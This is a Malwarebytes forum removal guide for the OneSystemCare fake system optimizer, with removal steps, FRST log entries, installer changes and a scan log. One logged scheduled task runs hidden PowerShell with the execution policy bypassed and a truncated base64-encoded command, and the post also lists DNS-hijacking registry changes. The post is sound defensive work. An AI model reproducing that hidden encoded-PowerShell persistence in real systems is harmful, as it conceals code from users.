Jump to content

Removal instructions for OneSystemCare

Metallica
 Share

Recommended Posts

  • Staff
Metallica

Metallica

Posted
  • Staff
Posted
What is OneSystemCare?

The Malwarebytes research team has determined that OneSystemCare is a "system optimizer". These so-called "system optimizers" use intentional false positives to convince users that their systems have problems. Then they try to sell you their software, claiming it will remove these problems.
More information can be found on our Malwarebytes Labs blog.

How do I know if I am infected with OneSystemCare?

This is how the main screen of the sytem optimizer looks:

main.png

You will find these icons in your taskbar and on your desktop:

icons.png

and you may see this type of warnings during install:

warning2.png

and these screens during "operations":

warning5.png

warning6.png

warning7.png

You may see this entry in your list of installed programs:

warning4.png

and these tasks in your Task Scheduler:

warning3.png

How did OneSystemCare get on my computer?

These so-called system optimizers use different methods of getting installed. This particular one was installed by another PUP.

How do I remove OneSystemCare?

Our program Malwarebytes can detect and remove this potentially unwanted application.
  • Please download Malwarebytes to your desktop.
  • Double-click mb3-setup-consumer-{version}.exe and follow the prompts to install the program.
  • Then click Finish.
  • Once the program has fully updated, select Scan Now on the Dashboard. Or select the Threat Scan from the Scan menu.
  • If another update of the definitions is available, it will be implemented before the rest of the scanning procedure.
  • When the scan is complete, make sure that all Threats are selected, and click Remove Selected.
  • Restart your computer when prompted to do so.
Is there anything else I need to do to get rid of OneSystemCare?
  • No, Malwarebytes removes OneSystemCare completely.
  • This PUP creates some scheduled tasks. You can read here how to check for and, if necessary, remove Scheduled Tasks.
How would the full version of Malwarebytes help protect me?

We hope our application and this guide have helped you eradicate this system optimizer.

As you can see below the full version of Malwarebytes would have protected you against the OneSystemCare installer. It would have warned you before the application could install itself, giving you a chance to stop it before it became too late.
 

protection1.png


and we block access to their domain:
 

protection2.png


Technical details for experts

You may see these entries in FRST logs:
  
 () C:\Program Files (x86)\OneSystemCare\SystemConsole.exe
 () C:\Program Files (x86)\OneSystemCare\OneSystemCare.exe
 C:\Windows\System32\Tasks\{057E7947-780B-0E0B-7D11-0E0D0B0C110F}
 C:\Windows\System32\Tasks\One System Care Task
 C:\Windows\System32\Tasks\One System Care Run Delay
 C:\Windows\System32\Tasks\One System Care Monitor
 C:\Windows\System32\Tasks\One System CarePeriod
 C:\Windows\Tasks\One System CarePeriod.job
 C:\ProgramData\2a2276f9-20a1-1
 C:\ProgramData\2a2276f9-0b93-0
 C:\Users\{username}\AppData\Roaming\One System Care
 C:\Program Files (x86)\OneSystemCare
 C:\Users\Public\Desktop\Launch One System Care.lnk
 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\One System Care

One System Care (HKLM-x32\...\OneSystemCare) (Version: 4.4.0.3 - OneSystemCare) <==== ATTENTION
Task: {11FD0FCC-787D-4FF1-B466-D5659CEA6633} - System32\Tasks\One System CarePeriod => C:\Program Files (x86)\OneSystemCare\OneSystemCare.exe [2016-12-26] () <==== ATTENTION
Task: {4D89F1C3-36A8-4429-8FC1-0B263DA7E332} - System32\Tasks\One System Care Monitor => C:\Program Files (x86)\OneSystemCare\CleanupConsole.exe [2016-12-26] () <==== ATTENTION
Task: {668D20B7-A868-4B90-AF03-489B802C5E0A} - System32\Tasks\One System Care Run Delay => C:\Program Files (x86)\OneSystemCare\OneSystemCare.exe [2016-12-26] () <==== ATTENTION
Task: {6CAB0476-77E0-4D8A-9D0A-D4FC8118D982} - System32\Tasks\{057E7947-780B-0E0B-7D11-0E0D0B0C110F} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand OwAgADsAIAA7ADsAOwA7ADsAIAAgACAAIAA7ACAAIAA7ADsAIAAgACAAIAA7ACAAIAA7ACAAIAAgADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA (the data entry has 10184 more characters).
Task: {F04F6E92-DB17-4ED4-8BB7-2F698ABDAD9E} - System32\Tasks\One System Care Task => C:\Program Files (x86)\OneSystemCare\SystemConsole.exe [2016-12-26] () <==== ATTENTION
Task: C:\Windows\Tasks\One System CarePeriod.job => C:\Program Files (x86)\OneSystemCare\OneSystemCare.exe <==== ATTENTION
Alterations made by the installer:
  
File system details [View: All details] (Selection)
---------------------------------------------------
    Adds the folder C:\Program Files (x86)\OneSystemCare
       Adds the file cancel.bmp"="12/26/2016 10:27 AM, 20360 bytes, A
       Adds the file CleanupConsole.exe"="12/26/2016 10:35 AM, 2238656 bytes, A
       Adds the file OneSystemCare.exe"="12/26/2016 10:35 AM, 4678336 bytes, A
       Adds the file OneSystemCare.ini"="2/14/2017 9:16 AM, 843 bytes, A
       Adds the file osc.ico"="12/26/2016 10:27 AM, 34494 bytes, A
       Adds the file SystemConsole.exe"="12/26/2016 10:35 AM, 952512 bytes, A
       Adds the file uninstall.bmp"="12/26/2016 10:27 AM, 802196 bytes, A
       Adds the file Uninstaller.exe"="12/26/2016 10:35 AM, 779592 bytes, A
    Adds the folder C:\ProgramData\2a2276f9-0b93-0
       Adds the file BITA281.tmp"="2/14/2017 9:15 AM, 0 bytes, HA
    Adds the folder C:\ProgramData\2a2276f9-20a1-1
       Adds the file BITA119.tmp"="2/14/2017 9:15 AM, 0 bytes, HA
    Adds the folder C:\ProgramData\Microsoft\Windows\Start Menu\Programs\One System Care
       Adds the file Launch One System Care.lnk"="2/14/2017 9:14 AM, 1085 bytes, A
       Adds the file One System Care on the Web.url"="2/14/2017 9:14 AM, 54 bytes, A
    Adds the folder C:\Users\{username}\AppData\Roaming\One System Care\Languages
    In the existing folder C:\Users\Public\Desktop
       Adds the file Launch One System Care.lnk"="2/14/2017 9:14 AM, 1067 bytes, A
    In the existing folder C:\Windows\System32\Tasks
       Adds the file {057E7947-780B-0E0B-7D11-0E0D0B0C110F}"="2/14/2017 9:15 AM, 24696 bytes, A
       Adds the file One System Care Monitor"="2/14/2017 9:15 AM, 3268 bytes, A
       Adds the file One System Care Run Delay"="2/14/2017 9:15 AM, 3334 bytes, A
       Adds the file One System Care Task"="2/14/2017 9:15 AM, 3576 bytes, A
       Adds the file One System CarePeriod"="2/14/2017 9:15 AM, 2868 bytes, A
    In the existing folder C:\Windows\Tasks
       Adds the file One System CarePeriod.job"="2/14/2017 9:15 AM, 284 bytes, A

Registry details [View: All details] (Selection)
------------------------------------------------
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CompatibilityAdapter\Signatures]
       "One System CarePeriod.job"="REG_BINARY, ................................
       "One System CarePeriod.job.fp"="REG_DWORD", 669890839
    [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\11598763487076930564]
       "0"="REG_DWORD", 1
    [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\3f14500d2a2276f9]
       "0"="REG_SZ", "Gw7UvYUTOHrejuVCAbVnctRCA2_vYd0wOoR-9d0iFHgcEV9RLwjKpMaAmMD_Cpi7qG4AIW9C8rrPZqPWiNpB2sMhoV9tWTTGftHbE8TPworo7NXZNsRsDcOYyz1u1G-YSBmBOmYnTettG3d55Xa-L0P6u_Z9YwytjJueDW19fDt1IkrxJvFximWXBB3B6YEro2U9glLikIylxSztmvR7rsu3JVo9K8LHS2kVtOmoPG4UJNcHU24m26NvkQHOTB3mCf47TENy7HPHYW5jB-DQjd_ejg2SoE3OTmybhVgX8RzJtR6gPFGss4Ou49-kFmGf8-NG9ECRE9tXL3YopR7rAootnhjjyRB07bL4Cx2vpfthFN3FkqyqOoyhxBx4ITdg4Fv6OinyKXaDQ0UsA_AbQ0-LN7gR7ne6JvBU6yhds7_bfGfUgl75xDNY7N4OHZsT7LUbKzFKhK1JKa9V5RCnPHJdWaoXKr7nB83hZA4bHxT99rut19sNPbU3lauo33ZFoctaZGx_PixnpNhKqNzpCX--zuyuvV6yz71Jx2_6uQYNzJIOYSQwbZWfkm9rn3Bhb0OrZbYJKoQVKsUMCDIU4rT9llrJieaMgZJoqwGhu6glFkbUlLTH5oYmx9FlbfB6EGYaMRuGSHFxmqu6BybH7CG1JqWMfLquTNAUm9fTLyr6URfTEg0jzv_jNqn3XeTbweN2aRF69AZcY-fhJXtDMHw1kKXNp4SrPvxvJdz2GJRdWt5-qKo1lnh4XQW14v0_ZdV4g6Uq03pX6e5IUheci2_P1CctuOn5h63LrRheqTcvoBvW0mOKIPYmjpT60FFHueWm0Q64_P_pEjoxoZG3ReYE7y81tNef1lh7h6WUxBSnR5v5hRf01z1hj61v-OvUBEC7-oUmsHwO5XTq7OhdArtYXKTHku4yS2iO12oVRetE2o0DfxIokdbS2LCgABaRoZfNEj3TlaWA15P1kmYHbeXt_KpdRk_kn1mL0bjx7JeyaiE55edPUKTyUBmywbi6ZRy2MrvSTHmA5FFz0d8NHLlNczVQ4PvSYqD3KKYbH9FMoc8hnlu-3i3He_okW5yCijcIpfLqVhjJy92pFWBA06LG2hbtOysxRQbJwOtWmgyda7udOa3wFU8dqs3EuNcF_ZZWguvZlpAje7gbTgTFiX-ZRmKrmmI2lBb2exZ0aCjDSg2chOBKpA5zhZ1bKaXZVMRWjFzBZC48xjbLlwsgr-4FodNzQCpVeQMi5udvH5Nj74mIELUtwFakAE41fZ-ME8jnz77gJbwYpuT_QW_bo7nz1CzKGoMaux6xevphDUjaYslVKI1mPMSYes5h2jmoaSS7f99oPwd2-KudaATla6fo0S1AdoM58cwW4Xkr5mQxYs63mJlvkZUKMozlHaMMVHGK8vkqf-o10XB8u-xuxBOZPndY4f08mZviBQCwm_TjG2oaXRMuVJ4SFBNhPvuDiBkGjbYXmg9H_JG5kKhga5XDTMO1bQYOtsIXBgno2iwVyiaM3hRTELqDz1VcvFftSh0Gjy026t_GYCEnUsmkf0g79ejpOsBFF47TimDgjAi6WyvO4JVpPfTFTE68m_RReguPf5gikd2XCljvfeW2--vMUNZfroXopgSSzYVAgjcukkPdjjdqrrtDHl1VxFIKW7Nu3RfuG4bTlN9QGNL8sDP31kP3II4JZ1t8N7mfjtWieAPJQ0GnOnvqZwjOBl0sFIh5tmb3aFgD5RMQmpxA3RkMHmIPE_dB0D_Y4qu4Vpw-81vAL2aEQWqfsTS3Hhnhxs2mrf3iVQmBI_GS4foqx6cgZZFCGguKQr-RimRwCikEdMmSTjlhTUpj0ox2H4VCUQxyfbsI9Q7MhzYwhyRJthfWF-tBNTvP_7Q4D8rBtOY61if8V-xBklsK1zBJHuOSgRxxP9ohXqH390TKfknNWxyu5jPuex10rSRNfdwhipY6T225Jqnocv1zEXuzIppGTI1vjhANSTbnZrl4GMSYFS0AEptpaQX0tkA0HzHB-UC3mT6E_2pDZf0EYspXA6LFRJkwRFh2jtykhsGAdYIgArMOVYirsNQV1BCyV7oBnqnJm-Dn07_a8oy37Rj1Zh30CPtFuMLFwiIY1NXPBpy0Hpq1632J5EoYw4dCemUXFujWaRgSh_fKyb0yuulXHjqe3CL_vROlNU6O-WxGRU8TgRX94DfSG5NKbS9c0bWb8YKLS2hd_w1z4or-T659dd2EofrAM7N2ulXUc0E5Ix2i4R3UvkDrRMdFl5nfbB-ZpYfXnBoWN_tKlfg5iPdF2SsAnaWEhDdvTD9ppQcqIuTGGV27Zz194XNN4EVY-G4ODLf8bUAmwcptcxIDUFAB6SXXs9NsYu5A998REl9tS7_FMiTwjuR_3W1OG4R5-Zzip_5u2X38mhFt2eiOWMPPqLAFrWLpaCWLEUF1mhiQBbtB1PNJN-cFFHzn0aDoRG295kEZguU2-M3VjuY7srSLbl7cHQ9BNAzVKk4pO-l_RN-8sp1SAeDlpeYtSqoKerx-vx2hxjWy-KhkAVYNDxxGVN_eGJBSuVCrse6YioYPz_RJxNWsIbeg7lcXJzkr61JCZpXqzzLFE--XnhlyZrG4fc2fk4EjURZ97G4scXwgsHKZlpbYx0K_BTX6E6-BOeohPwYo2p-2AFXTKu_xV49I-x3f1e7MRdV0l8yo55dcJHcMc-Tx5863IQpq8vINxdeMXQoj1qLMpWtNbCZ5z6u62uT6K8ePYpNqYjBOdWMK9-MuV6r52txv8QDDvOh-MzbIn0d5UTfszJhi5GRMHDQiN1xw2UnoC8jH1cvJSeWAI2mFJ4ZnUQ5maShr_y2vk-xfLlgkl6WpTENKJpSdLkTkUTXqmInk65OnWOO6V54G5wZAtdeE_xgzLfgWnDJyTUV0_EijSvrjUEf3DpxUjxZnOXXSWqdDGOVEr_h7lAzvBD0iPhDR4hYh6OPraPV4FqsCSMD2pK7TGgOTV_jauBrFqphjA9ZaQIc6HlFsb5GU75wUGJug_gaxaLLU8AoAccVKJjw00ir9QppposAM8VnRtMtD9Ns6LTWhKeLOWA5zOylSi_1sgFkBvUjcdEFAKDXn2wRz"
       "1"="REG_SZ", "lOTnlgOfnqUskMunF-Jfg1R86ulQ"
    [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\OneSystemCare]
       "DisplayIcon"="REG_SZ", "C:\Program Files (x86)\OneSystemCare\Uninstaller.exe"
       "DisplayName"="REG_SZ", "One System Care"
       "DisplayVersion"="REG_SZ", "4.4.0.3"
       "Publisher"="REG_SZ", "OneSystemCare"
       "rn"="REG_DWORD", 0
       "UninstallString"="REG_SZ", "C:\Program Files (x86)\OneSystemCare\Uninstaller.exe"
       "URLInfoAbout"="REG_SZ", "http://www.onesystemcare.com"
    [HKEY_CURRENT_USER\Software\One System Care]
       "Configuration"="REG_BINARY, ..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
       "InstLang"="REG_SZ", "1033"
       "PurchaseLink"="REG_SZ", "1"
       "ScanAtStartup"="REG_DWORD", 0
       "ScheduleScan"="REG_DWORD", 1
Malwarebytes log:
  
Malwarebytes
www.malwarebytes.com

-Log Details-
Scan Date: 2/14/17
Scan Time: 9:28 AM
Logfile: mbamOneSystemCare.txt
Administrator: Yes

-Software Information-
Version: 3.0.5.1299
Components Version: 1.0.43
Update Package Version: 1.0.1257
License: Premium

-System Information-
OS: Windows 7 Service Pack 1
CPU: x64
File System: NTFS
User: {computername}\{username}

-Scan Summary-
Scan Type: Threat Scan
Result: Completed
Objects Scanned: 360070
Time Elapsed: 3 min, 11 sec

-Scan Options-
Memory: Enabled
Startup: Enabled
Filesystem: Enabled
Archives: Enabled
Rootkits: Disabled
Heuristics: Enabled
PUP: Enabled
PUM: Enabled

-Scan Details-
Process: 3
Adware.OptimizerEliteMax, C:\PROGRAM FILES (X86)\ONESYSTEMCARE\SYSTEMCONSOLE.EXE, Quarantined, [537], [311034],1.0.1257
Adware.OptimizerEliteMax, C:\PROGRA~2\ONESYS~1\SYSTEM~1.EXE, Quarantined, [537], [311034],1.0.1257
Adware.OptimizerEliteMax, C:\PROGRAM FILES (X86)\ONESYSTEMCARE\ONESYSTEMCARE.EXE, Quarantined, [537], [311034],1.0.1257

Module: 1
Adware.OptimizerEliteMax, C:\PROGRAM FILES (X86)\ONESYSTEMCARE\ONESYSTEMCARE.EXE, Quarantined, [537], [311034],1.0.1257

Registry Key: 12
Adware.OptimizerEliteMax, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\OneSystemCare, Delete-on-Reboot, [537], [311034],1.0.1257
PUP.Optional.OneSystemCare, HKCU\SOFTWARE\One System Care, Delete-on-Reboot, [578], [311038],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{11FD0FCC-787D-4FF1-B466-D5659CEA6633}, Delete-on-Reboot, [578], [258705],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{4D89F1C3-36A8-4429-8FC1-0B263DA7E332}, Delete-on-Reboot, [578], [258705],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{668D20B7-A868-4B90-AF03-489B802C5E0A}, Delete-on-Reboot, [578], [258294],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{F04F6E92-DB17-4ED4-8BB7-2F698ABDAD9E}, Delete-on-Reboot, [578], [258705],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\POWER\USER\POWERSCHEMES\04262113-2a31-48e1-b4bb-3b42174bea0f, Delete-on-Reboot, [578], [336950],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\POWER\USER\POWERSCHEMES\e24b7131-d039-43cb-9e6f-ad4be601ec1f, Delete-on-Reboot, [578], [336950],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\One System Care Monitor, Delete-on-Reboot, [578], [241385],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\One System Care Run Delay, Delete-on-Reboot, [578], [241385],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\One System Care Task, Delete-on-Reboot, [578], [241385],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\One System CarePeriod, Delete-on-Reboot, [578], [241385],1.0.1257

Registry Value: 10
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS|NameServer, Replace-on-Reboot, [46], [-1],0.0.0
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS|DhcpNameServer, Replace-on-Reboot, [46], [-1],0.0.0
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{EDB0D6D8-B1F7-496F-A023-44DF7155F1CD}|NameServer, Replace-on-Reboot, [46], [-1],0.0.0
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{EDB0D6D8-B1F7-496F-A023-44DF7155F1CD}|DhcpNameServer, Replace-on-Reboot, [46], [-1],0.0.0
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{11FD0FCC-787D-4FF1-B466-D5659CEA6633}|PATH, Delete-on-Reboot, [578], [258705],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{4D89F1C3-36A8-4429-8FC1-0B263DA7E332}|PATH, Delete-on-Reboot, [578], [258705],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{668D20B7-A868-4B90-AF03-489B802C5E0A}|PATH, Delete-on-Reboot, [578], [258294],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{F04F6E92-DB17-4ED4-8BB7-2F698ABDAD9E}|PATH, Delete-on-Reboot, [578], [258705],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\POWER\USER\POWERSCHEMES\04262113-2a31-48e1-b4bb-3b42174bea0f|DESCRIPTION, Delete-on-Reboot, [578], [336950],1.0.1257
PUP.Optional.OneSystemCare, HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\POWER\USER\POWERSCHEMES\e24b7131-d039-43cb-9e6f-ad4be601ec1f|DESCRIPTION, Delete-on-Reboot, [578], [336950],1.0.1257

Data Stream: 0
(No malicious items detected)

Folder: 7
PUP.Optional.DNSUnlocker.ACMB2, C:\PROGRAMDATA\2a2276f9-0b93-0, Delete-on-Reboot, [46], [182288],1.0.1257
PUP.Optional.DNSUnlocker.ACMB2, C:\PROGRAMDATA\2a2276f9-20a1-1, Delete-on-Reboot, [46], [182288],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\WL, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\USERS\{username}\APPDATA\ROAMING\One System Care, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\PROGRAM FILES (X86)\ONESYSTEMCARE, Delete-on-Reboot, [578], [241378],1.0.1257
PUP.Optional.OneSystemCare, C:\PROGRAMDATA\MICROSOFT\WINDOWS\START MENU\PROGRAMS\ONE SYSTEM CARE, Delete-on-Reboot, [578], [241379],1.0.1257

File: 35
PUP.Optional.DNSUnlocker.ACMB2, C:\ProgramData\2a2276f9-0b93-0\BITA281.tmp, Delete-on-Reboot, [46], [182288],1.0.1257
PUP.Optional.DNSUnlocker.ACMB2, C:\WINDOWS\SYSTEM32\TASKS\{057E7947-780B-0E0B-7D11-0E0D0B0C110F}, Delete-on-Reboot, [46], [-1],0.0.0
PUP.Optional.DNSUnlocker.ACMB2, C:\ProgramData\2a2276f9-20a1-1\BITA119.tmp, Delete-on-Reboot, [46], [182288],1.0.1257
Adware.OptimizerEliteMax, C:\PROGRAM FILES (X86)\ONESYSTEMCARE\SYSTEMCONSOLE.EXE, Delete-on-Reboot, [537], [311034],1.0.1257
Adware.OptimizerEliteMax, C:\PROGRA~2\ONESYS~1\SYSTEM~1.EXE, Delete-on-Reboot, [537], [311034],1.0.1257
Adware.OptimizerEliteMax, C:\PROGRAM FILES (X86)\ONESYSTEMCARE\ONESYSTEMCARE.EXE, Delete-on-Reboot, [537], [311034],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\Danish.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\Dutch.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\English.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\French.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\German.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\Italian.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\Norwegian.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\Parameters.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\Portuguese.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\Spanish.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\Swedish.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\Languages\tmpLang.json, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\CallBanner.png, Delete-on-Reboot, [578], [178764],1.0.1257
PUP.Optional.OneSystemCare, C:\Users\{username}\AppData\Roaming\One System Care\FinishedScan.png, Delete-on-Reboot, [578], [178764],1.0.1257
Adware.OptimizerEliteMax, C:\USERS\{username}\DESKTOP\ONESYSTEMCARE.EXE, Delete-on-Reboot, [537], [311034],1.0.1257
PUP.Optional.OneSystemCare, C:\USERS\PUBLIC\DESKTOP\LAUNCH ONE SYSTEM CARE.LNK, Delete-on-Reboot, [578], [241377],1.0.1257
Adware.OptimizerEliteMax, C:\PROGRAM FILES (X86)\ONESYSTEMCARE\UNINSTALLER.EXE, Delete-on-Reboot, [537], [311034],1.0.1257
Adware.OptimizerEliteMax, C:\PROGRAM FILES (X86)\ONESYSTEMCARE\CLEANUPCONSOLE.EXE, Delete-on-Reboot, [537], [311034],1.0.1257
PUP.Optional.OneSystemCare, C:\PROGRAM FILES (X86)\ONESYSTEMCARE\ONESYSTEMCARE.INI, Delete-on-Reboot, [578], [241378],1.0.1257
PUP.Optional.OneSystemCare, C:\Program Files (x86)\OneSystemCare\cancel.bmp, Delete-on-Reboot, [578], [241378],1.0.1257
PUP.Optional.OneSystemCare, C:\Program Files (x86)\OneSystemCare\osc.ico, Delete-on-Reboot, [578], [241378],1.0.1257
PUP.Optional.OneSystemCare, C:\Program Files (x86)\OneSystemCare\uninstall.bmp, Delete-on-Reboot, [578], [241378],1.0.1257
PUP.Optional.OneSystemCare, C:\WINDOWS\TASKS\ONE SYSTEM CAREPERIOD.JOB, Delete-on-Reboot, [578], [241382],1.0.1257
PUP.Optional.OneSystemCare, C:\WINDOWS\SYSTEM32\TASKS\One System Care Monitor, Delete-on-Reboot, [578], [241381],1.0.1257
PUP.Optional.OneSystemCare, C:\WINDOWS\SYSTEM32\TASKS\One System Care Run Delay, Delete-on-Reboot, [578], [241381],1.0.1257
PUP.Optional.OneSystemCare, C:\WINDOWS\SYSTEM32\TASKS\One System Care Task, Delete-on-Reboot, [578], [241381],1.0.1257
PUP.Optional.OneSystemCare, C:\WINDOWS\SYSTEM32\TASKS\One System CarePeriod, Delete-on-Reboot, [578], [241381],1.0.1257
PUP.Optional.OneSystemCare, C:\PROGRAMDATA\MICROSOFT\WINDOWS\START MENU\PROGRAMS\ONE SYSTEM CARE\LAUNCH ONE SYSTEM CARE.LNK, Delete-on-Reboot, [578], [241379],1.0.1257
PUP.Optional.OneSystemCare, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\One System Care\One System Care on the Web.url, Delete-on-Reboot, [578], [241379],1.0.1257

Physical Sector: 0
(No malicious items detected)


(end)
As mentioned before the full version of Malwarebytes could have protected your computer against this threat.
We use different ways of protecting your computer(s):
  • Dynamically Blocks Malware Sites & Servers
  • Malware Execution Prevention
Save yourself the hassle and get protected.
Link to post
Share on other sites
 Share
Go to topic listing

  • Recently Browsing   0 members

    • No registered users viewing this page.
Back to top
×
×
  • Create New...

Important Information

This site uses cookies - We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.